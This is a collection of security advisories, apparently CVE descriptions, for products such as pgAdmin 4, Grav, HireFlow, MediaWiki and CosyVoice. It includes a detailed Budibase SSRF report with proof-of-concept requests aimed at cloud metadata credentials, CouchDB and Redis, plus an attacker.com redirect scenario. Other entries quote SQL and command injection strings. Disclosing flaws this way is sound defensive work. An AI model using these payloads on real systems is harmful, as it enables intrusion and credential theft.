CVEs

Wellbia's XIGNCODE3 xhunter1.sys kernel driver Privilege Escalation Vulnerability provides access to IRP_MJ_REITS command interface, which allows any user process to request a PROCESS_ALL_ACCESS. Cross reference to KVE 2023-5589 (https://krcert.or.kr)

An authenticated administrator who configures or tests LDAP connectivity in Sonatype Nexus Repository Manager versions 3.0.0 through 3.91.1 may be able to initiate unintended server-side connections when interacting with a malicious LDAP server.

HireFlow v1.2 is vulnerable to Cross Site Scripting (XSS) in candidate_detail.html via the Resume or Feedback Comment fields via POST /candidates/add or POST /feedback/add.

HireFlow v1.2 is vulnerable to Incorrect Access Control. The application does not enforce object-level authorization on the /candidate/<id> and /interview/<id> endpoints. The route handlers retrieve records by the user-supplied ID without verifying that the requesting user is the owner or has an authorized role. Any authenticated user can access any other user's candidate profiles and interview notes by iterating the integer ID in the URL path, constituting a horizontal privilege escalation and full data breach of all records in the system.

HireFlow v1.2 is vulnerable to SQL injection in the /login and /search endpoints. User-supplied input is concatenated directly into SQL queries without parameterization. An unauthenticated attacker can bypass authentication by supplying a crafted username (e.g. admin'--) or extract the full contents of the database including user credentials via UNION-based injection at the /search endpoint.

HireFlow v1.2 does not implement CSRF token validation on any state-changing POST endpoint. All forms (password change at /profile, candidate deletion at /candidates/delete/<id>, feedback submission at /feedback/add/<id>, interview scheduling at /interviews/add) are vulnerable to CSRF. An attacker who can trick an authenticated user into visiting a malicious page can silently change the victim's password, delete records, or inject arbitrary data on their behalf. The SESSION_COOKIE_SAMESITE attribute is also not configured, removing the browser-level CSRF defense.

D-Link DCS-932L v2.18.01 is vulnerable to Command Injection in the function sub_42EF14 of the file /bin/alphapd. The manipulation of the argument LightSensorControl leads to command injection.

SQL Injection in MuuCMF T6 v1.9.4.20260115 allows an unauthenticated attacker to compromise the entire database, achieve unauthorized administrative access, and potentially gain remote code execution by writing malicious files to the server's file system via the keyword parameter in the /index/controller/Search.php endpoint.

Vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/Actions/ActionEntryPoint.Php, includes/Request/FauxResponse.Php. This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.

Vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/Page/Article.Php. This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/Specials/SpecialUserRights.Php. This issue affects MediaWiki: from * before 1.43.7, 1.44.4, 1.45.2.

Command injection vulnerability in automagik-genie 2.5.27 MCP Server allows attackers to execute arbitrary commands via the view_task (aka view) in the readTranscriptFromCommit function in dist/mcp/server.js when a user reads from an external FORGE_BASE_URL.

A Server-Side Request Forgery (SSRF) vulnerability exists in MLflow versions prior to 3.9.0. The `_create_webhook()` function in `mlflow/server/handlers.py` accepts a user-controlled `url` parameter without validation, and the `_send_webhook_request()` function in `mlflow/webhooks/delivery.py` sends HTTP POST requests to this attacker-controlled URL. This allows an authenticated attacker to force the MLflow backend to send HTTP requests to internal services, cloud metadata endpoints, or arbitrary external servers. The lack of input sanitization, URL scheme filtering, or allowlist validation on the webhook URL enables exploitation, potentially leading to cloud credential theft, internal network access, and data exfiltration.

dnsmasqs extract_name() function can be abused to cause a heap buffer overflow, allowing an attacker to inject false DNS cache entries, which could result in DNS lookups to redirect to an attacker-controlled IP address, or to cause a DoS.

MantisBT allows a low-privileged authenticated user having *add_profile_threshold* to create a global profile despite not having *manage_global_profile_threshold*, by tampering with the user_id parameter in a valid profile creation request. ### Impact Authentication bypass ### Patches - 3f952e68fa864e0e60abc3e84adecf3cfa84c75e ### Workarounds None ### Credits Thanks to Vishal Shukla for discovering and responsibly reporting the issues.

Grav is a file-based Web platform. Prior to 2.0.0-rc.2, the Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required. This vulnerability is fixed in 2.0.0-rc.2.

grav-plugin-admin is the admin plugin for Grav is an HTML user interface that provides a convenient way to configure Grav and easily create and modify pages. Prior to 1.10.49.5, the application fails to properly validate and sanitize user input in the data[header][title] parameter. As a result, attackers can craft a malicious URL with an XSS payload. When this URL is accessed, the injected script is reflected back in the HTTP response and executed within the context of the victim's browser session. This vulnerability is fixed in 1.10.49.5.

The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0 , there is an unauthenticated page-content overwrite via file upload (GHSA-w4rc-p66m-x6qq). Public form uploads now strip path components from the POST-supplied filename and hard-block page-content extensions (`md`, `yaml`, `yml`, `json`, `twig`, `ini`) regardless of the configurable dangerous-extensions list. A permissive `accept` policy combined with the default `destination: self@` could otherwise let an attacker overwrite the page's own `.md` and pivot to super-admin via a `process: save` action. This vulnerability is fixed in 9.1.0.

Grav API Plugin is a RESTful API for Grav CMS that provides full headless access to your site's content, media, configuration, users, and system management. Prior to 1.0.0-beta.15, an insecure direct object reference and logic flaw in the Grav API plugin (UsersController::update) allows any authenticated user with basic API access (api.access) to modify their own permission configuration. An attacker can exploit this to escalate their privileges to Super Administrator (admin.super and api.super), leading to full system compromise and potential RCE. This vulnerability is fixed in 1.0.0-beta.15.

The form plugin for Grav adds the ability to create and use forms. Prior to 9.1.0, a Stored Cross-Site Scripting (XSS) vulnerability exists in the Grav CMS Form plugin's select field template. Taxonomy tag and category values are rendered with the Twig |raw filter in the admin panel, bypassing the global autoescape protection. An editor-level user can inject arbitrary JavaScript that executes in any administrator's browser session when they view or edit any page in the admin panel. This vulnerability is fixed in 9.1.0.

OWASP BLT is a QA testing and vulnerability disclosure platform that encompasses websites, apps, git repositories, and more. Prior to 2.1.2, .github/workflows/pre-commit-fix.yaml uses pull_request_target (privileged trigger) but checks out and executes code directly from the attacker's fork, enabling RCE with write permissions. This vulnerability is fixed in 2.1.2.

Clerk JavaScript is the official JavaScript repository for Clerk authentication. has(), auth.protect(), and related authorization predicates in @clerk/shared, @clerk/nextjs, @clerk/backend, and other framework SDKs can return true for certain combined authorization checks when the result should be false, allowing a gated action to proceed for a user who does not satisfy the full set of requested conditions. This call shape can be bypassed if certain conditions are met: a has() or auth.protect() call that combines a reverification check with any of role, permission, feature, or plan, or that combines a billing check (feature or plan) with a role or permission check. This vulnerability is fixed in @clerk/clerk-js 5.125.10 and 6.7.5.

Cross Site Scripting vulnerability in iotgateway v.3.0.1 allows a remote attacker to execute arbitrary code via the Log Record Function

In Meari IoT SDK builds embedded in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and white-label Android apps <= 1.8.x (latest observed), multiple security-critical secrets are hardcoded and shared, including API signing material, password-transport keying, and service access keys.

In Meari IoT SDK image handling (libmrplayer.so) as observed in CloudEdge 5.5.0 (build 220), Arenti 1.8.1 (build 220), and related white-label apps (<= 1.8.x), baby monitor ".jpgx3" files use reversible XOR over only the first 1024 bytes with a predictable key derivation model.

In Meari IoT Cloud alert image storage on Alibaba OSS (latest observed; storage service version not disclosed), motion snapshots are retrievable without authentication, signed URLs, or expiry enforcement. URLs function as direct object references and remain valid beyond expected operational windows.

In Meari client applications embedding "com.meari.sdk" (including CloudEdge 5.5.0 build 220, Arenti 1.8.1 build 220, and related white-label <= 1.8.x), the integrated call path to openapi-euce.mearicloud.com can be abused to retrieve WAN IP data for arbitrary devices. The root cause is a server-side authorization failure in "GET /openapi/device/status".

In Meari IoT Cloud MQTT Broker deployments running EMQX 4.x, any authenticated low-privilege account can subscribe to global wildcard topics and receive telemetry from devices the user does not own. The broker enforces publish restrictions but does not enforce equivalent subscribe authorization at per-device scope.

The flash-attention project thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains a code injection vulnerability (CWE-94) in its training script. The script registers the Python eval() function as a Hydra configuration resolver under the name eval. This allows configuration files to execute arbitrary Python code via the ${eval:...} syntax. An attacker can exploit this by providing a malicious configuration file, leading to arbitrary code execution when the training script is run with that configuration.

The flash-attention training framework thru commit e724e2588cbe754beb97cf7c011b5e7e34119e62 (2025-13-04) contains an insecure deserialization vulnerability (CWE-502) in its checkpoint loading mechanism. The load_checkpoint() function in checkpoint.py and the checkpoint loading code in eval.py use torch.load() without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a maliciously crafted checkpoint file. When a victim loads this checkpoint during model warmstarting or evaluation, arbitrary code is executed on the victim's system.

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its model loading component. The framework uses torch.load() to load model weight files (e.g., llm.pt, flow.pt, hift.pt) without enabling the security-restrictive weights_only=True parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing a malicious model directory containing specially crafted model files. When a victim starts the CosyVoice Web UI pointing to this directory, arbitrary code is executed on the victim's system during the model loading process.

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its gRPC server component. When the server starts, it loads the speech synthesis model from a user-specified directory using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious model files within a directory. When a victim starts the gRPC server pointing to this directory, arbitrary code is executed on the victim's system during server initialization.

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its average_model.py model averaging tool. The script loads PyTorch checkpoint files (epoch_*.pt) for model averaging using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious checkpoint files within a directory. When a victim uses the tool to average models from this directory, arbitrary code is executed on the victim's system.

CosyVoice thru commit 6e01309e01bc93bbeb83bdd996b1182a81aaf11e (2025-30-21) contains an insecure deserialization vulnerability (CWE-502) in its make_parquet_list.py data processing tool. The script loads PyTorch .pt files (utterance embeddings, speaker embeddings, speech tokens) using torch.load() without enabling the weights_only=True security parameter. This allows the deserialization of arbitrary Python objects via the pickle module. An attacker can exploit this by providing malicious .pt files within a data directory. When a victim processes this directory using the tool, arbitrary code is executed on the victim's system.

Docling's METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend extracts and validates XML files from .tar.gz archives using etree.fromstring() without disabling entity resolution. An attacker can craft a malicious XML file with nested entity definitions (XML Bomb) and package it into a .tar.gz archive. When processed by Docling, the exponential expansion of entities during XML parsing leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser.

## 1. Summary | Field | Value | |-------|-------| | **Title** | SSRF via trivial `.tar.gz` substring bypass in Plugin URL upload | | **Product** | Budibase (Self-Hosted) | | **Version** | ≤ 3.34.11 (latest stable as of 2026-03-30) | | **Component** | `packages/server/src/api/controllers/plugin/url.ts` | | **Vulnerability Type** | CWE-918: Server-Side Request Forgery (SSRF), CWE-184: Incomplete List of Disallowed Inputs | | **Severity** | High (chained) / Medium (standalone) | | **CVSS 3.1 Score (chained)** | 7.7 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N` | | **CVSS 3.1 Score (standalone)** | 5.4 — `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N` | | **Attack Vector** | Network | | **Privileges Required** | Low (Global Builder role) | | **User Interaction** | None | | **Affected Deployments** | All Budibase instances with plugin loading enabled (default) | --- ## 2. Description The Plugin URL upload endpoint (`POST /api/plugin`) validates the submitted URL with a single substring check: `url.includes(".tar.gz")`. Any URL containing `.tar.gz` anywhere in the string — in the path, query string, or fragment — passes this check. The URL then proceeds directly to `fetchWithBlacklist()` with no further validation of host, scheme, or path. Standalone, this vulnerability is blocked by Budibase's default SSRF blacklist, which covers private IP ranges. But the URL validation layer itself is broken regardless, and it directly enables SSRF in two realistic situations: (1) when chained with the `BLACKLIST_IPS` bypass ([001]), where the blacklist is empty; and (2) when the plugin server follows HTTP redirects from an external URL to an internal target (the default `node-fetch` behavior with `redirect: 'follow'`). The developer team's own test suite (`objectStore.spec.ts:393`) tests that `downloadTarballDirect` passes through `fetchWithBlacklist` — confirming they're aware of the SSRF risk on this path. The `.tar.gz` substring check as the only URL-level guard was never intended to be the security boundary, but in practice it is. --- ## 3. Root Cause Analysis ### 3.1 Trivial substring-based URL validation **File**: `packages/server/src/api/controllers/plugin/url.ts` ```typescript // Lines 7-19 export async function urlUpload(url: string, name = "", headers = {}) { if (!url.includes(".tar.gz")) { // ← ONLY validation: any URL with ".tar.gz" anywhere passes throw new Error("Plugin must be compressed into a gzipped tarball.") } const path = await downloadUnzipTarball(url, name, headers) // ↑ url is passed directly — no host allowlist, no scheme check, no path normalization try { return await getPluginMetadata(path) } catch (err) { deleteFolderFileSystem(path) throw err } } ``` **Problem**: `url.includes(".tar.gz")` checks for a substring anywhere in the full URL string. It does not validate hostname, scheme, or that `.tar.gz` appears as an actual file extension at the end of the path. ### 3.2 Bypass examples | Attack URL | `includes(".tar.gz")` | Actual request target | |------------|----------------------|----------------------| | `http://169.254.169.254/.tar.gz` | ✅ passes | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ passes | CouchDB | | `http://10.0.0.1:6379/.tar.gz` | ✅ passes | Redis | | `http://attacker.com/file.tar.gz?x=http://internal/` | ✅ passes | Redirect to internal | | `http://internal-host/.tar.gz#fragment` | ✅ passes | Internal service | ### 3.3 Developer awareness of SSRF risk on this path **File**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts` ```typescript // Line 393 it("uses fetchWithBlacklist in downloadTarballDirect", async () => { downloadTarballDirect("http://169.254.169.254/metadata/v1/", "tmp") // ← team explicitly tests that IMDS is blocked via blacklist }) ``` The team knows this code path can reach IMDS. They rely on `fetchWithBlacklist` as the defense — but never tested the `.tar.gz` substring bypass that trivially routes around it at the URL validation layer. ### 3.4 Authorization model | Operation | Endpoint | Required Permission | |-----------|----------|---------------------| | Plugin URL upload | `POST /api/plugin` | Global Builder | **Key insight**: The plugin endpoint is behind `globalBuilderRoutes`, which requires Global Builder permission. This is a low-privilege role routinely granted to developers on self-hosted instances. --- ## 4. Impact Analysis ### 4.1 Confidentiality — High (chained) / Low (standalone) When chained with [001] (`BLACKLIST_IPS` bypass): - **AWS/GCP/Azure IMDS** (`169.254.169.254`) — IAM credentials, service account tokens - **CouchDB** (`127.0.0.1:4005`) — application databases, user records - **Redis** (`127.0.0.1:6379`) — session tokens - **Internal network services** (`172.16.0.0/12`, `10.0.0.0/8`) Standalone (with default blacklist active): - **Open redirect chains** — if the plugin server follows redirects from external URLs to internal IPs, the blacklist check on the original URL does not protect against the redirected destination. This depends on `node-fetch` redirect behavior and whether `fetchWithBlacklist` re-checks the redirected URL. ### 4.2 Integrity — None (GET-only path) The plugin URL upload uses GET-only semantics via `fetchWithBlacklist`. No write operations to internal services via this path. ### 4.3 Availability — None No service disruption. ### 4.4 Scope Change (chained) Same as [001]: crosses application → infrastructure boundary when combined with the blacklist bypass. --- ## 5. Proof of Concept > **Verification status**: Code-level confirmed. End-to-end Docker test pending. > PoC files are ready: `poc/004_plugin_url_ssrf/poc_004_plugin_url_ssrf.py` + `docker-compose.yml` ### 5.1 Environment Setup ```bash # poc/004_plugin_url_ssrf/docker-compose.yml services: budibase: image: budibase/budibase:latest environment: SELF_HOSTED: "1" BLACKLIST_IPS: "" # ← enables chained SSRF (001) JWT_SECRET: "poc_jwt_secret" BB_ADMIN_USER_EMAIL: "poc@budibase.com" BB_ADMIN_USER_PASSWORD: "pocPassword123!" ports: ["10000:10000"] victim: image: python:3.11-alpine command: python -m http.server 8888 ``` ```bash cd poc/004_plugin_url_ssrf docker-compose up -d python3 poc_004_plugin_url_ssrf.py --target http://localhost:10000 ``` ### 5.2 Step 1 — Bypass the `.tar.gz` check with a crafted URL ```http POST /api/plugin HTTP/1.1 Host: localhost:10000 Cookie: budibase:auth=<builder-session-cookie> Content-Type: application/json { "source": "URL", "url": "http://victim:8888/.tar.gz", "name": "poc-test" } ``` The `url.includes(".tar.gz")` check passes because `.tar.gz` appears in the path. The URL `http://victim:8888/.tar.gz` is not a valid tarball — but the string check doesn't know that. ### 5.3 Step 2 — Expected response (SSRF confirmed) **With blacklist active (default config):** ```json { "message": "Failed to import plugin: URL is blocked or could not be resolved safely." } ``` **With `BLACKLIST_IPS=""` (chained with 001):** ```json { "message": "Failed to import plugin: incorrect header check" } ``` The `"incorrect header check"` error (zlib decompressor receiving HTTP response headers) proves the request reached `victim:8888`. The `.tar.gz` substring check was bypassed, and the HTTP fetch completed. ### 5.4 Additional bypass payloads tested (code-level only) | URL | Check bypass | Intended target | |-----|-------------|-----------------| | `http://169.254.169.254/.tar.gz` | ✅ | AWS IMDS | | `http://127.0.0.1:4005/_session.tar.gz` | ✅ | CouchDB | | `http://127.0.0.1:6379/.tar.gz` | ✅ | Redis | | `http://attacker.com/real.tar.gz` (redirects to `http://10.0.0.1/`) | ✅ | Internal via redirect | --- ## 6. Attack Scenarios ### Scenario A — Chained with [001]: AWS IMDS credential theft ``` 1. Self-hosted deployment has BLACKLIST_IPS set to any value (see report 001) 2. Builder user sends: POST /api/plugin { "source": "URL", "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name.tar.gz" } 3. Budibase fetches IMDS endpoint → receives IAM credentials JSON 4. zlib decompressor fails on non-gzip content → error response 5. Depending on logging config, credential material may appear in logs or error details ``` ### Scenario B — Standalone: Open redirect SSRF (default config) ``` 1. Attacker controls external server: GET /plugin.tar.gz → 302 → http://192.168.1.1/admin 2. Builder user submits: POST /api/plugin { "source": "URL", "url": "http://attacker.com/plugin.tar.gz" } 3. node-fetch follows redirect (default: redirect: 'follow') 4. If fetchWithBlacklist only checks the original URL (not the redirected URL), internal IP is reached 5. Requires verification of redirect handling in fetchWithBlacklist ``` ### Scenario C — CouchDB data access (chained) ``` 1. BLACKLIST_IPS="" enables internal access 2. URL: http://127.0.0.1:4005/_all_dbs.tar.gz 3. CouchDB responds with JSON list of databases 4. zlib error confirms HTTP request reached CouchDB ``` --- ## 7. Affected Code Paths ``` POST /api/plugin (Global Builder auth) │ ▼ packages/server/src/api/controllers/plugin/index.ts │ source === "URL" → urlUpload(url, name, headers) ▼ packages/server/src/api/controllers/plugin/url.ts:8 │ if (!url.includes(".tar.gz")) throw ← ONLY check — trivially bypassed │ → "http://169.254.169.254/.tar.gz" passes ▼ packages/server/src/utilities/fileSystem/plugins.ts │ downloadUnzipTarball(url, name, headers) ▼ packages/backend-core/src/objectStore/objectStore.ts:703 │ downloadTarballDirect(url, path, headers) ▼ packages/backend-core/src/objectStore/utils/outboundFetch.ts │ fetchWithBlacklist(url, options) │ isBlacklisted(hostname) │ ├─ [default config] → BlockList has 9 private ranges → 169.254.x BLOCKED ✓ │ └─ [BLACKLIST_IPS set, chained with 001] → empty BlockList → 169.254.x REACHABLE ✗ ``` --- ## 8. Recommended Fixes ### Fix 1 (High): Replace substring check with URL parsing and extension validation ```typescript // packages/server/src/api/controllers/plugin/url.ts import { URL } from "url" export async function urlUpload(url: string, name = "", headers = {}) { let parsed: URL try { parsed = new URL(url) } catch { throw new Error("Invalid plugin URL.") } // Only allow https:// scheme if (parsed.protocol !== "https:") { throw new Error("Plugin URL must use HTTPS.") } // Require the path to end with .tar.gz (not just contain it anywhere) if (!parsed.pathname.endsWith(".tar.gz")) { throw new Error("Plugin must be compressed into a gzipped tarball (.tar.gz).") } const path = await downloadUnzipTarball(url, name, headers) // ... } ``` ### Fix 2 (High): Re-check blacklist after redirect in `fetchWithBlacklist` ```typescript // packages/backend-core/src/objectStore/utils/outboundFetch.ts // Current: only checks the original URL before fetch // Fix: also intercept redirects and re-check each redirect target const response = await nodeFetch(url, { ...options, redirect: "manual", // don't auto-follow }) if (response.status >= 300 && response.status < 400) { const redirectUrl = response.headers.get("location") if (redirectUrl) { const redirectHost = new URL(redirectUrl).hostname if (await isBlacklisted(redirectHost)) { throw new Error("URL is blocked or could not be resolved safely.") } // recursively fetch (with depth limit) } } ``` ### Fix 3 (Medium): Add hostname allowlist option for plugin sources Provide a `PLUGIN_ALLOWED_HOSTS` variable that restricts plugin URL downloads to explicitly approved domains, rather than relying solely on a blocklist. --- ## 9. References - **CWE-918**: Server-Side Request Forgery (SSRF) — https://cwe.mitre.org/data/definitions/918.html - **CWE-184**: Incomplete List of Disallowed Inputs — https://cwe.mitre.org/data/definitions/184.html - **OWASP SSRF Prevention Cheat Sheet** — https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html - **Related finding**: [001] `BLACKLIST_IPS` bypass — `report/raw/001_ssrf_blacklist_bypass.md` - **Developer SSRF awareness test**: `packages/backend-core/src/objectStore/tests/objectStore.spec.ts:393`

### Summary The `apiHandler` (and similarly `webHandlerTelegramBot`) processes user-provided JSON payloads by directly using `json.NewDecoder(r.Body).Decode(&request)` without restricting the maximum read size. An unauthenticated remote attacker can stream an extremely large, endless JSON payload (e.g., several Gigabytes of padding) over a single TCP connection. Because Go's JSON decoder attempts to allocate memory for the entire parsed structure, this rapidly exhausts the host's physical RAM or container limits, leading to an unrecoverable `fatal error: runtime: out of memory`. This causes the Linux OOM Killer to instantly terminate the entire `bird-lg-go` daemon, resulting in a severe Remote Denial of Service (RDoS). ### Details In `api.go`: ```go func apiHandler(w http.ResponseWriter, r *http.Request) { var request apiRequest // VULNERABILITY: No http.MaxBytesReader protection before JSON decode err := json.NewDecoder(r.Body).Decode(&request) // ...

A security vulnerability has been detected in Open5GS up to 2.7.7. The affected element is the function yuarel_parse in the library /lib/sbi/conv.c of the component NRF. Such manipulation of the argument hnrf-uri leads to denial of service. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. The project was informed of the problem early through an issue report but has not responded yet.

A weakness has been identified in Open5GS up to 2.7.7. Impacted is the function ogs_nnrf_nfm_handle_nf_profile of the file lib/sbi/nnrf-handler.c of the component NRF. This manipulation causes denial of service. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. The pull request to fix this issue awaits acceptance.

Improper restriction of excessive authentication attempts (CWE-307) in pgAdmin 4. pgAdmin enforces MAX_LOGIN_ATTEMPTS only inside its custom /authenticate/login view. Flask-Security's default /login view, which is registered automatically by security.init_app() and is reachable on every server, never consulted the User.locked field: pgAdmin's User model relied on Flask-Security's UserMixin.is_locked() (which always returns 'not locked') and Flask-Login's is_active (which only checks the active column, not locked). An attacker who triggered an account lockout via /authenticate/login could therefore obtain a session by re-submitting valid credentials directly to /login, defeating the brute-force-protection control for accounts using the INTERNAL authentication source. The same bypass also means that login attempts via /login are never rate-limited, so an attacker can perform an unbounded online password-guessing attack against INTERNAL accounts regardless of MAX_LOGIN_ATTEMPTS. Fix overrides User.is_active and User.is_locked() so the locked column is enforced on every authentication path. LDAP, OAuth2, Kerberos, and Webserver users are not reachable by this bypass because they have no local password and are rejected by Flask-Security's LoginForm.validate before the locked check; the lockout itself is also internal-only (the /authenticate/login view filters by auth_source=INTERNAL). This issue affects pgAdmin 4: before 9.15.

Symbolic-link path traversal (CWE-61, CWE-22) in pgAdmin 4 File Manager. check_access_permission used os.path.abspath, which resolves '..' but does not resolve symbolic links, while the subsequent kernel write follows symlinks. An authenticated user could plant a symbolic link inside their own storage directory pointing outside it and induce pgAdmin to write to any path reachable by the pgAdmin process. Fix switches the access check to os.path.realpath for both source and destination, and adds an _open_upload_target helper that opens the target with O_NOFOLLOW (mode 0o600) to close the leaf-component TOCTOU between the access check and the open. File mode is hardened from 0o644 to 0o600. This issue affects pgAdmin 4: before 9.15.

Deserialization of untrusted data (CWE-502) in pgAdmin 4 FileBackedSessionManager. The session manager performed unsafe deserialization of session-file contents (using Python's standard object-serialization module) before performing any HMAC integrity check. Any file dropped into the sessions directory was deserialized unconditionally. An authenticated user with write access to the sessions directory (whether by misconfiguration or in combination with another path-traversal flaw) could plant a crafted serialized payload to achieve operating-system level remote code execution under the pgAdmin process identity. Fix prepends a 64-byte hex SHA-256 HMAC over the session body, computed with SECRET_KEY, and verifies it via hmac.compare_digest before any deserialization. The check is raised (rather than asserted) on empty SECRET_KEY so it is not stripped under -O. This issue affects pgAdmin 4: before 9.15.

Local file inclusion (LFI) and server-side request forgery (SSRF) vulnerabilities in pgAdmin 4 LLM API configuration endpoints. User-supplied api_key_file and api_url preferences were passed to the LLM provider clients without validation. An authenticated user could read arbitrary server-side files by pointing api_key_file at any path readable by the pgAdmin process, or coerce pgAdmin into making requests to internal targets (e.g. cloud metadata services such as 169.254.169.254) by setting api_url, exploiting the chat path and model-list endpoints. Fix restricts api_key_file to the user's private storage (server mode) or home directory (desktop mode), enforces a printable-ASCII key shape and a 1024-byte read cap, and gates api_url against a configurable allow-list (config.ALLOWED_LLM_API_URLS) at every entry point. This issue affects pgAdmin 4: before 9.15.

OS command injection (CWE-78) vulnerability in pgAdmin 4 Import/Export query export. User-supplied input was interpolated directly into a psql \copy metacommand template without sanitization. An authenticated user could inject ") TO PROGRAM 'cmd'" to break out of the \copy (...) context and achieve arbitrary command execution on the pgAdmin server, or ") TO '/path'" for arbitrary file write. Additional fields (format, on_error, log_verbosity) were also raw-interpolated and exploitable. Fix adds a parens-balance parser modeled on psql's strtokx tokenizer, allow-lists format/on_error/log_verbosity, rejects null bytes in the query, and tightens type and gating checks. This issue affects pgAdmin 4: before 9.15.

SQL injection vulnerability in pgAdmin 4 Maintenance Tool. Four user-supplied JSON fields (buffer_usage_limit, vacuum_parallel, vacuum_index_cleanup, reindex_tablespace) were concatenated directly into the rendered VACUUM/ANALYZE/REINDEX command and passed to psql --command. An authenticated user with the tools_maintenance permission could break out of the option syntax and execute arbitrary SQL on the connected PostgreSQL server. The injected SQL could in turn invoke COPY ... TO PROGRAM to escalate to operating-system command execution on the database host. Fix introduces server-side allow-listing of all four fields and switches reindex_tablespace from manual quoting to the qtIdent filter. This issue affects pgAdmin 4: before 9.15.

Stored cross-site scripting (XSS) vulnerability in pgAdmin 4 Browser Tree and Explain Visualizer modules. User-controlled PostgreSQL object names (database, schema, table, column, etc.) were assigned to DOM elements via innerHTML, allowing crafted object names containing HTML markup to execute attacker-supplied JavaScript in the browser of any pgAdmin user who navigated to or executed EXPLAIN over the malicious object. Fix replaces innerHTML with textContent. This issue affects pgAdmin 4: before 9.15.

Authorization vulnerability in pgAdmin 4 server mode affecting Server Groups, Servers, Shared Servers, Background Processes, and Debugger modules. Multiple endpoints fetched user-owned objects without filtering by the requesting user's identity. An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs. Additionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record. Fix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced. This issue affects pgAdmin 4: before 9.15.

An arbitrary file write vulnerability exists in Casdoor's Local File System storage provider. Due to insufficient path sanitization, an authenticated attacker with administrative privileges can perform a Path Traversal attack to create or overwrite arbitrary files anywhere on the host filesystem, bypassing the application's intended storage sandbox.

Corteza contains a SQL injection vulnerability in its Microsoft SQL Server (MSSQL) backend when filtering Compose records by the meta field.This issue affects corteza: 2024.9.8.

Angular Expressions provides expressions for the Angular.JS web framework as a standalone module. Prior to 1.5.2, an attacker can write a malicious expression using filters that escapes the sandbox to execute arbitrary code on the system. This vulnerability is fixed in 1.5.2.